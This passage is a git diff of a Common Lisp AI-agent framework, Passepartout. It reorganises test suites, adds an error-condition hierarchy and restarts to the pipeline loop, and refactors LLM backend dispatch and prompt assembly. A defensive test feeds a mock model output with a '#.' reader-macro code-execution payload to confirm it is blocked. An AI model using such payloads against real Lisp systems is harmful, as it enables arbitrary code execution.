-(defpackage :passepartout-pipeline-perceive-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:pipeline-perceive-suite))
-
-(in-package :passepartout-pipeline-perceive-tests)
-
-(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
-(in-suite pipeline-perceive-suite)
-
-(test test-loop-gate-perceive
-  "Contract 1: :buffer-update ingests AST and sets :perceived status."
-  (clrhash passepartout::*memory-store*)
-  (let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))
-    (is (not (null (gethash "test-node" passepartout::*memory-store*))))))
-
-(test test-depth-limiting
-  "Edge: depth 11 signals are rejected by the pipeline."
-  (let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
-    (is (null (process-signal runaway-signal)))))
-
-(test test-loop-gate-perceive-unknown-sensor
-  "Contract 1: unknown sensors pass through and reach :perceived."
-  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))))
-
-(test test-loop-gate-perceive-no-ast
-  "Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
-  (clrhash passepartout::*memory-store*)
-  (let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
-         (result (loop-gate-perceive signal)))
-    (is (eq :perceived (getf result :status)))))
-
-(test test-depth-limiting-normal
-  "Contract 1: signals at normal depth pass through without rejection."
-  (let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
-    (is (not (eq :rejected (getf normal-signal :status)))
-        "Signal at normal depth should not be rejected")))

lisp/core-pipeline.lisp

@@ -1,5 +1,81 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-immune-system-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:immune-suite))
+
+(in-package :passepartout-immune-system-tests)
+
+(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
+(in-suite immune-suite)
+
+(test loop-error-injection
+  "Contract 1: a crash in think/decide triggers :loop-error stimulus."
+  (clrhash passepartout::*skill-registry*)
+  (passepartout:defskill :evil-skill
+    :priority 100
+    :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
+    :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
+    :deterministic nil)
+  (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
+  (let ((logs (if (fboundp 'passepartout::context-get-system-logs)
+                  (passepartout:context-get-system-logs 20)
+                  nil)))
+    (is (or (null logs)  ; no log service available — degraded but not broken
+            (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
+
+(test test-process-signal-normal-path
+  "Contract 1: a valid signal passes through the pipeline without crash."
+  (clrhash passepartout::*skill-registry*)
+  (handler-case
+      (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
+        (process-signal signal)
+        (pass))
+    (error (c)
+      (fail "Pipeline crashed on normal signal: ~a" c))))
+
+(test test-loop-process-returns-nil-on-deep
+  "Contract 1: depth > 10 returns nil from loop-process."
+  (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
+    (is (null result))))
+
 (in-package :passepartout)
 
+(define-condition passepartout-error (error)
+  ((message :initarg :message :reader error-message))
+  (:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
+  (:documentation "Root of the pipeline error hierarchy."))
+
+(define-condition pipeline-error (passepartout-error)
+  ((signal :initarg :signal :reader pipeline-error-signal :initform nil))
+  (:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
+  (:documentation "Any error during the Perceive→Reason→Act cycle."))
+
+(define-condition llm-error (pipeline-error)
+  ((provider :initarg :provider :reader llm-error-provider)
+   (cascade :initarg :cascade :reader llm-error-cascade :initform nil)
+   (attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
+  (:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
+  (:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
+
+(define-condition gate-error (pipeline-error)
+  ((gate-name :initarg :gate-name :reader gate-error-gate-name)
+   (rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
+  (:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
+  (:documentation "Deterministic gate blocked a proposed action."))
+
+(define-condition budget-error (pipeline-error)
+  ((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
+   (requested :initarg :requested :reader budget-error-requested :initform 0.0))
+  (:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
+  (:documentation "Session budget cap has been reached."))
+
+(define-condition protocol-error (passepartout-error)
+  ((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
+  (:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
+  (:documentation "Malformed message, framing failure, or schema violation."))
+
 (defvar *interrupt-flag* nil
   "Atomic flag set by signal handlers to trigger graceful shutdown.")
 
@@ -23,27 +99,42 @@
           (log-message "METABOLISM: Interrupted by shutdown signal.")
           (return nil))
 
-        (handler-case
+        (restart-case
-             (progn
+            (handler-bind
-               (setf current-signal (perceive-gate current-signal))
+                ((pipeline-error (lambda (c)
-               (setf current-signal (reason-gate current-signal))
+                                   (log-message "PIPELINE ERROR: ~a" (error-message c)))))
-               (let ((feedback (act-gate current-signal)))
+              (handler-case
-                 (if feedback
+                  (progn
-                     (progn
+                    (setf current-signal (perceive-gate current-signal))
-                       (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
+                    (setf current-signal (reason-gate current-signal))
-                       (setf current-signal feedback))
+                    (let ((feedback (act-gate current-signal)))
-                     (setf current-signal nil))))
+                      (if feedback
-          (error (c)
+                          (progn
-            (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
+                            (unless (getf feedback :meta) (setf (getf feedback :meta) meta))
-              (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
+                            (setf current-signal feedback))
-              (unless (member sensor '(:loop-error :tool-error :syntax-error))
+                          (setf current-signal nil))))
-                (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
+                (error (c)
-                (rollback-memory 0))
+                  (let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
-              (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                    (log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
-                  (setf current-signal nil)
+                    (unless (member sensor '(:loop-error :tool-error :syntax-error))
-                  (setf current-signal
+                      (log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
-                        (list :type :EVENT :depth (1+ depth) :meta meta
+                      (rollback-memory 0))
-                              :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
+                    (if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
+                        (setf current-signal nil)
+                        (setf current-signal
+                              (list :type :EVENT :depth (1+ depth) :meta meta
+                                    :payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
+          (skip-signal ()
+            :report "Drop the current signal and continue the loop."
+            (setf current-signal nil))
+          (use-fallback (text)
+            :report "Inject a canned response instead of the LLM result."
+            (setf current-signal
+                  (list :type :EVENT :depth (1+ depth) :meta meta
+                        :payload (list :sensor :loop-error :message text :depth depth))))
+          (abort-pipeline ()
+            :report "Terminate the cognitive cycle cleanly."
+            (return nil)))))))
 
 (defun process-signal (signal)
   (loop-process signal))
@@ -139,45 +230,3 @@
         (when *shutdown-save-enabled* (save-memory-to-disk))
         (return))
       (sleep sleep-interval))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-immune-system-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:immune-suite))
-
-(in-package :passepartout-immune-system-tests)
-
-(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
-(in-suite immune-suite)
-
-(test loop-error-injection
-  "Contract 1: a crash in think/decide triggers :loop-error stimulus."
-  (clrhash passepartout::*skill-registry*)
-  (passepartout:defskill :evil-skill
-    :priority 100
-    :trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
-    :probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
-    :deterministic nil)
-  (passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
-  (let ((logs (if (fboundp 'passepartout::context-get-system-logs)
-                  (passepartout:context-get-system-logs 20)
-                  nil)))
-    (is (or (null logs)  ; no log service available — degraded but not broken
-            (not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
-
-(test test-process-signal-normal-path
-  "Contract 1: a valid signal passes through the pipeline without crash."
-  (clrhash passepartout::*skill-registry*)
-  (handler-case
-      (let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
-        (process-signal signal)
-        (pass))
-    (error (c)
-      (fail "Pipeline crashed on normal signal: ~a" c))))
-
-(test test-loop-process-returns-nil-on-deep
-  "Contract 1: depth > 10 returns nil from loop-process."
-  (let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
-    (is (null result))))

lisp/core-reason.lisp

@@ -1,311 +1,3 @@
-(in-package :passepartout)
-
-(defvar *probabilistic-backends* (make-hash-table :test 'equal)
-  "Maps provider keyword → handler function (prompt system-prompt &key model).")
-
-(defun register-probabilistic-backend (name fn)
-  "Register FN as the handler for provider NAME."
-  (setf (gethash name *probabilistic-backends*) fn))
-
-(defvar *backend-registry* (make-hash-table :test 'equal))
-
-(defvar *provider-cascade* nil)
-
-(defvar *model-selector* nil)
-
-(defvar *consensus-enabled* nil)
-
-(defun backend-register (name fn)
-  (setf (gethash name *backend-registry*) fn))
-
-(defun backend-cascade-call (prompt &key
-                                (system-prompt "You are the Probabilistic engine.")
-                                (cascade nil)
-                                (context nil)
-                                tools)
-  (let ((backends (or cascade *provider-cascade*))
-        (result nil))
-    (dolist (backend backends (or result
-                                   (list :type :LOG
-                                         :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
-      (let ((backend-fn (or (gethash backend *backend-registry*)
-                            (gethash backend *probabilistic-backends*))))
-        (when backend-fn
-          (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
-          (let* ((model (and *model-selector*
-                             (funcall *model-selector* backend context)))
-                 (skip (eq model :skip))
-                 (r (unless skip
-                      (apply backend-fn
-                             (append (list prompt system-prompt :model model)
-                                     (when tools (list :tools tools)))))))
-            (when skip
-              (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
-            (cond ((and (listp r) (eq (getf r :status) :success))
-                   (let ((tool-calls (getf r :tool-calls)))
-                     (if tool-calls
-                         (return (list :status :success :tool-calls tool-calls))
-                         (progn
-                           (setf result (getf r :content))
-                           (return result)))))
-                  ((stringp r)
-                   (setf result r)
-                   (return result))
-                   (t
-                    (log-message "PROBABILISTIC: Backend ~a failed: ~a"
-                                backend (getf r :message))))))))))
-
-(defun markdown-strip (text)
-  (if (and text (stringp text))
-      (let ((cleaned text))
-        (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
-        (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
-        (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
-        (string-trim '(#\Space #\Newline #\Tab) cleaned))
-      text))
-
-(defun plist-keywords-normalize (plist)
-  (when (listp plist)
-    (loop for (k v) on plist by #'cddr
-          collect (if (and (symbolp k) (not (keywordp k)))
-                       (intern (string k) :keyword)
-                       k)
-          collect v)))
-
-;; v0.7.2: live config section for system prompt
-(defun assemble-config-section ()
-  "Build the CONFIG section of the system prompt from live state."
-  (let ((provider-names "")
-        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
-                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
-                           8192))
-        (gate-count 10)
-        (rules-count 0))
-    (when (boundp '*provider-cascade*)
-      (setf provider-names
-            (format nil "~{~a~^, ~}"
-                    (mapcar (lambda (p)
-                              (handler-case (or (getf p :model) (getf p :provider) "")
-                                (error () (princ-to-string p))))
-                            (symbol-value '*provider-cascade*)))))
-    (when (boundp '*hitl-pending*)
-      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
-    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
-            (if (string= provider-names "") "default" provider-names)
-            context-window gate-count rules-count)))
-
-(defun think (context)
-  ;; v0.7.2: auto-snapshot at turn boundaries
-  (when (fboundp 'snapshot-memory)
-    (snapshot-memory))
-  (let* ((sensor (proto-get (proto-get context :payload) :sensor))
-         (active-skill (find-triggered-skill context))
-         (tool-belt (generate-tool-belt-prompt))
-          (reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
-          (global-context (if (fboundp 'context-assemble-cached)
-                              (context-assemble-cached context sensor)
-                              (if (fboundp 'context-assemble-global-awareness)
-                                  (context-assemble-global-awareness)
-                                  "[Awareness skill not loaded]")))
-         (system-logs (if (fboundp 'context-get-system-logs)
-                          (context-get-system-logs)
-                          "[No system logs available]"))
-         (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
-         (rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
-         (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
-         (raw-prompt (if prompt-generator
-                         (funcall prompt-generator context)
-                         (let ((p (proto-get (proto-get context :payload) :text)))
-                           (if (and p (stringp p)) p "Maintain metabolic stasis."))))
-         (reflection-feedback (if rejection-trace
-                                  (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
-                                  ""))
-          (standing-mandates-text (let ((out ""))
-                                    (dolist (fn *standing-mandates*)
-                                      (let ((text (ignore-errors (funcall fn context))))
-                                        (when (and text (stringp text) (> (length text) 0))
-                                          (setf out (concatenate 'string out text (string #\Newline))))))
-                                    (when (> (length out) 0) out)))
-           (identity-content (if (fboundp 'agent-identity)  ; v0.7.2: symbolic identity
-                                 (agent-identity)
-                                 ""))
-           (config-section (if (fboundp 'assemble-config-section)  ; v0.7.2: live config
-                              (assemble-config-section)
-                              ""))
-           (time-section (if (fboundp 'sensor-time-duration)  ; v0.6.0: temporal awareness
-                            (format-time-for-llm
-                             :session-duration-seconds (funcall (symbol-function 'session-duration)))
-                            (if (fboundp 'format-time-for-llm)
-                                (format-time-for-llm)
-                                "")))
-           (system-prompt (if (fboundp 'prompt-prefix-cached)
-                              ;; v0.5.0: cached prefix with optional budget enforcement
-                              (let* ((prefix (prompt-prefix-cached assistant-name identity-content
-                                                                    reflection-feedback
-                                                                    standing-mandates-text tool-belt)))
-                               (if (fboundp 'enforce-token-budget)
-                                   (multiple-value-bind (pfx ctxt logs _ mandates)
-                                       (enforce-token-budget prefix global-context system-logs
-                                                             raw-prompt standing-mandates-text)
-                                     (declare (ignore _))
-                                     (setf standing-mandates-text mandates)
-                                      (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                              time-section config-section pfx (or ctxt "") logs))
-                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                            time-section config-section prefix (or global-context "") system-logs)))
-                             ;; Fallback when token-economics not loaded
-                              (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
-                                      time-section config-section
-                                      assistant-name identity-content reflection-feedback
-                                      (if standing-mandates-text
-                                          (concatenate 'string (string #\Newline) standing-mandates-text)
-                                          "")
-                                      tool-belt (or global-context "") system-logs))))
-    (let* ((thought (if (and reply-stream (fboundp 'cascade-stream))  ; v0.7.1: streaming
-                       (let ((acc (make-string-output-stream)))
-                         (funcall 'cascade-stream raw-prompt system-prompt
-                                  (lambda (delta)
-                                    (when reply-stream
-                                      (format reply-stream "~a"
-                                              (frame-message (list :type :stream-chunk
-                                                                   :payload (list :text delta))))
-                                      (finish-output reply-stream))
-                                    (write-string delta acc)))
-                         (get-output-stream-string acc))
-                       (backend-cascade-call raw-prompt
-                                             :system-prompt system-prompt
-                                             :context context)))
-           (tool-calls (and (listp thought) (getf thought :tool-calls))))
-      ;; v0.5.0: cost tracking after successful cascade
-      (when (and (fboundp 'cost-track-backend-call)
-                 (stringp thought)
-                 (or (null tool-calls)))
-        (ignore-errors
-          (cost-track-backend-call (first *provider-cascade*)
-                                   (format nil "~a~%~a" system-prompt raw-prompt)
-                                   thought)))
-      (if tool-calls
-          (let* ((first-call (car tool-calls))
-                 (tool-name (getf first-call :name))
-                 (args (getf first-call :arguments))
-                 (args-plist (json-alist-to-plist args)))
-            (list :TYPE :REQUEST
-                  :PAYLOAD (list* :TOOL tool-name
-                                  :ARGS args-plist
-                                  :EXPLANATION "Generated by function-calling engine.")))
-          (let* ((cleaned (if (and (listp thought) (getf thought :type))
-                             (format nil "~a" (getf (getf thought :payload) :text))
-                             (markdown-strip thought))))
-       (if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
-           (handler-case
-                (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
-                  (if (listp parsed)
-                      (let ((normalized (plist-keywords-normalize parsed)))
-                        ;; Ensure explanation is present in the payload for policy gate
-                        (let ((payload (proto-get normalized :payload)))
-                          (if (and payload (proto-get payload :explanation))
-                              normalized
-                              (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
-                                                        (if (listp payload) payload nil))))
-                                (list* :PAYLOAD new-payload
-                                       (loop for (k v) on normalized by #'cddr
-                                             unless (eq k :PAYLOAD)
-                                             collect k collect v))))))
-                      (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
-             (error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
-             (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
-
-(defun json-alist-to-plist (alist)
-  "Convert a JSON alist to a keyword-prefixed plist."
-  (when (listp alist)
-    (loop for (key . value) in alist
-          append (list (intern (string-upcase (string key)) :keyword)
-                       (if (listp value)
-                           (if (consp (car value))
-                               (json-alist-to-plist value)
-                               value)
-                           value)))))
-
-(defun cognitive-verify (proposed-action context)
-  "Runs all registered deterministic gates against the proposed action,
-sorted by priority (highest first). Returns a rejection plist or the action."
-  (let ((current-action (copy-tree proposed-action))
-        (approval-needed nil)
-        (approval-action nil)
-        (gates nil)
-        (gate-trace nil))
-    ;; Collect gates sorted by priority (highest first)
-    (maphash (lambda (name skill)
-               (declare (ignore name))
-               (when (skill-deterministic-fn skill)
-                 (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
-             *skill-registry*)
-    (setf gates (sort gates #'> :key #'car))
-    (dolist (gate-entry gates)
-      (let* ((gate-name (cadr gate-entry))
-             (result (funcall (cddr gate-entry) current-action context)))
-        (cond
-          ((eq (getf result :level) :approval-required)
-           (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
-           (setf approval-needed t
-                 approval-action (getf (getf result :payload) :action)))
-           ((member (getf result :type) '(:LOG :EVENT))
-            (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
-            (let ((blocked-result (copy-list result)))
-              (setf (getf blocked-result :gate-trace) (nreverse gate-trace))
-              (return-from cognitive-verify blocked-result)))
-          ((and (listp result) result)
-           (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
-           (setf current-action result)))))
-    (if approval-needed
-        (list :type :EVENT :level :approval-required
-              :gate-trace (nreverse gate-trace)
-              :payload (list :sensor :approval-required
-                             :action approval-action))
-        (let ((passed-result (copy-tree current-action)))
-          (setf (getf passed-result :gate-trace) (nreverse gate-trace))
-          passed-result))))
-
-(defun loop-gate-reason (signal)
-  (let* ((type (proto-get signal :type))
-         (payload (proto-get signal :payload))
-         (sensor (proto-get payload :sensor)))
-    (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
-      (return-from loop-gate-reason signal))
-    (let ((retries 3)
-          (current-signal (copy-tree signal))
-          (last-rejection nil))
-      (loop
-        (when (<= retries 0)
-          (setf (getf signal :approved-action) last-rejection)
-          (setf (getf signal :status) :reasoned)
-          (return signal))
-        (when last-rejection
-          (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
-        (let ((candidate (think current-signal)))
-           (if (and candidate (listp candidate))
-               (let ((verified (cognitive-verify candidate current-signal)))
-                 ;; Approval-required is not a rejection — pass to act for Flight Plan
-                 (if (eq (getf verified :level) :approval-required)
-                     (progn
-                       (setf (getf signal :approved-action) verified)
-                       (setf (getf signal :status) :requires-approval)
-                       (return signal))
-                     ;; Hard rejection: retry with feedback
-                     (if (member (getf verified :type) '(:LOG :EVENT))
-                         (progn (decf retries) (setf last-rejection verified))
-                         (progn
-                           (setf (getf signal :approved-action) verified)
-                           (setf (getf signal :status) :reasoned)
-                           (return signal)))))
-              (progn
-                (setf (getf signal :approved-action) nil)
-                (setf (getf signal :status) :reasoned)
-                (return signal))))))))
-
-(defun reason-gate (signal)
-  (loop-gate-reason signal))
-
 (eval-when (:compile-toplevel :load-toplevel :execute)
   (ql:quickload :fiveam :silent t))
 
@@ -399,8 +91,8 @@ sorted by priority (highest first). Returns a rejection plist or the action."
 
 (test test-backend-cascade-with-mock
   "Contract 4: backend-cascade-call returns content from first successful backend."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
-    (setf (gethash :mock-backend passepartout::*backend-registry*)
+    (setf (gethash :mock-backend passepartout::*probabilistic-backends*)
           (lambda (prompt sp &key model)
             (declare (ignore prompt sp model))
             (list :status :success :content "mock-response")))
@@ -409,9 +101,9 @@ sorted by priority (highest first). Returns a rejection plist or the action."
 
 (test test-read-eval-rce-blocked
   "Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
-  (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+  (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
         (passepartout::*provider-cascade* '(:mock-evil)))
-    (setf (gethash :mock-evil passepartout::*backend-registry*)
+    (setf (gethash :mock-evil passepartout::*probabilistic-backends*)
           (lambda (prompt sp &key model)
             (declare (ignore prompt sp model))
             (list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -479,7 +171,7 @@ sorted by priority (highest first). Returns a rejection plist or the action."
   (let ((passepartout::*memory-snapshots* nil)
         (passepartout::*memory-store* (make-hash-table :test 'equal)))
     (setf (gethash "pre" passepartout::*memory-store*) "value")
-    (let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
+    (let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
           (passepartout::*provider-cascade* nil))
       (handler-case
           (let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
@@ -487,3 +179,330 @@ sorted by priority (highest first). Returns a rejection plist or the action."
             (declare (ignore result)))
         (error (c) (format nil "Expected: ~a" c)))
       (is (>= (length passepartout::*memory-snapshots*) 0)))))
+
+(in-package :passepartout)
+
+(defvar *probabilistic-backends* (make-hash-table :test 'equal)
+  "Maps provider keyword → handler function (prompt system-prompt &key model).")
+
+(defun register-probabilistic-backend (name fn)
+  "Register FN as the handler for provider NAME."
+  (setf (gethash name *probabilistic-backends*) fn))
+
+(defvar *provider-cascade* nil)
+
+(defvar *model-selector* nil)
+
+(defvar *consensus-enabled* nil)
+
+(defun backend-cascade-call (prompt &key
+                                (system-prompt "You are the Probabilistic engine.")
+                                (cascade nil)
+                                (context nil)
+                                tools)
+  (let ((backends (or cascade *provider-cascade*))
+        (result nil))
+    (dolist (backend backends (or result
+                                   (list :type :LOG
+                                         :payload (list :text "Neural Cascade Failure: All providers exhausted."))))
+      (let ((backend-fn (gethash backend *probabilistic-backends*)))
+        (when backend-fn
+          (log-message "PROBABILISTIC: Attempting backend ~a..." backend)
+          (let* ((model (and *model-selector*
+                             (funcall *model-selector* backend context)))
+                 (skip (eq model :skip))
+                 (r (unless skip
+                      (apply backend-fn
+                             (append (list prompt system-prompt :model model)
+                                     (when tools (list :tools tools)))))))
+            (when skip
+              (log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
+            (cond ((and (listp r) (eq (getf r :status) :success))
+                   (let ((tool-calls (getf r :tool-calls)))
+                     (if tool-calls
+                         (return (list :status :success :tool-calls tool-calls))
+                         (progn
+                           (setf result (getf r :content))
+                           (return result)))))
+                  ((stringp r)
+                   (setf result r)
+                   (return result))
+                   (t
+                    (log-message "PROBABILISTIC: Backend ~a failed: ~a"
+                                backend (getf r :message))))))))))
+
+(defun markdown-strip (text)
+  (if (and text (stringp text))
+      (let ((cleaned text))
+        (setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
+        (setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
+        (setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
+        (string-trim '(#\Space #\Newline #\Tab) cleaned))
+      text))
+
+(defun plist-keywords-normalize (plist)
+  (when (listp plist)
+    (loop for (k v) on plist by #'cddr
+          collect (if (and (symbolp k) (not (keywordp k)))
+                       (intern (string k) :keyword)
+                       k)
+          collect v)))
+
+;; v0.7.2: live config section for system prompt
+(defun assemble-config-section ()
+  "Build the CONFIG section of the system prompt from live state."
+  (let ((provider-names "")
+        (context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
+                           (tokenizer-context-limit (symbol-value '*tokenizer-provider*))
+                           8192))
+        (gate-count 10)
+        (rules-count 0))
+    (when (boundp '*provider-cascade*)
+      (setf provider-names
+            (format nil "~{~a~^, ~}"
+                    (mapcar (lambda (p)
+                              (handler-case (or (getf p :model) (getf p :provider) "")
+                                (error () (princ-to-string p))))
+                            (symbol-value '*provider-cascade*)))))
+    (when (boundp '*hitl-pending*)
+      (setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
+    (format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
+            (if (string= provider-names "") "default" provider-names)
+            context-window gate-count rules-count)))
+
+(defun think-assemble-prompt (context)
+  "Phase 2-3 of the metabolic cycle: context + system prompt assembly.
+Returns three values: system-prompt, raw-prompt, reply-stream."
+  (let* ((sensor (proto-get (proto-get context :payload) :sensor))
+         (active-skill (find-triggered-skill context))
+         (tool-belt (generate-tool-belt-prompt))
+         (reply-stream (proto-get context :reply-stream))
+         (global-context (if (fboundp 'context-assemble-cached)
+                             (context-assemble-cached context sensor)
+                             (if (fboundp 'context-assemble-global-awareness)
+                                 (context-assemble-global-awareness)
+                                 "[Awareness skill not loaded]")))
+         (system-logs (if (fboundp 'context-get-system-logs)
+                          (context-get-system-logs)
+                          "[No system logs available]"))
+         (assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
+         (rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
+         (prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
+         (raw-prompt (if prompt-generator
+                         (funcall prompt-generator context)
+                         (let ((p (proto-get (proto-get context :payload) :text)))
+                           (if (and p (stringp p)) p "Maintain metabolic stasis."))))
+         (reflection-feedback (if rejection-trace
+                                  (format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
+                                  ""))
+         (standing-mandates-text (let ((out ""))
+                                   (dolist (fn *standing-mandates*)
+                                     (let ((text (ignore-errors (funcall fn context))))
+                                       (when (and text (stringp text) (> (length text) 0))
+                                         (setf out (concatenate 'string out text (string #\Newline))))))
+                                   (when (> (length out) 0) out)))
+         (identity-content (if (fboundp 'agent-identity)
+                               (agent-identity)
+                               ""))
+         (config-section (if (fboundp 'assemble-config-section)
+                             (assemble-config-section)
+                             ""))
+         (time-section (if (fboundp 'sensor-time-duration)
+                           (format-time-for-llm
+                            :session-duration-seconds (funcall (symbol-function 'session-duration)))
+                           (if (fboundp 'format-time-for-llm)
+                               (format-time-for-llm)
+                               "")))
+         (system-prompt (if (fboundp 'prompt-prefix-cached)
+                            (let* ((prefix (prompt-prefix-cached assistant-name identity-content
+                                                                  reflection-feedback
+                                                                  standing-mandates-text tool-belt)))
+                              (if (fboundp 'enforce-token-budget)
+                                  (multiple-value-bind (pfx ctxt logs _ mandates)
+                                      (enforce-token-budget prefix global-context system-logs
+                                                            raw-prompt standing-mandates-text)
+                                    (declare (ignore _))
+                                    (setf standing-mandates-text mandates)
+                                    (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                            time-section config-section pfx (or ctxt "") logs))
+                                  (format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
+                                          time-section config-section prefix (or global-context "") system-logs)))
+                            (format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
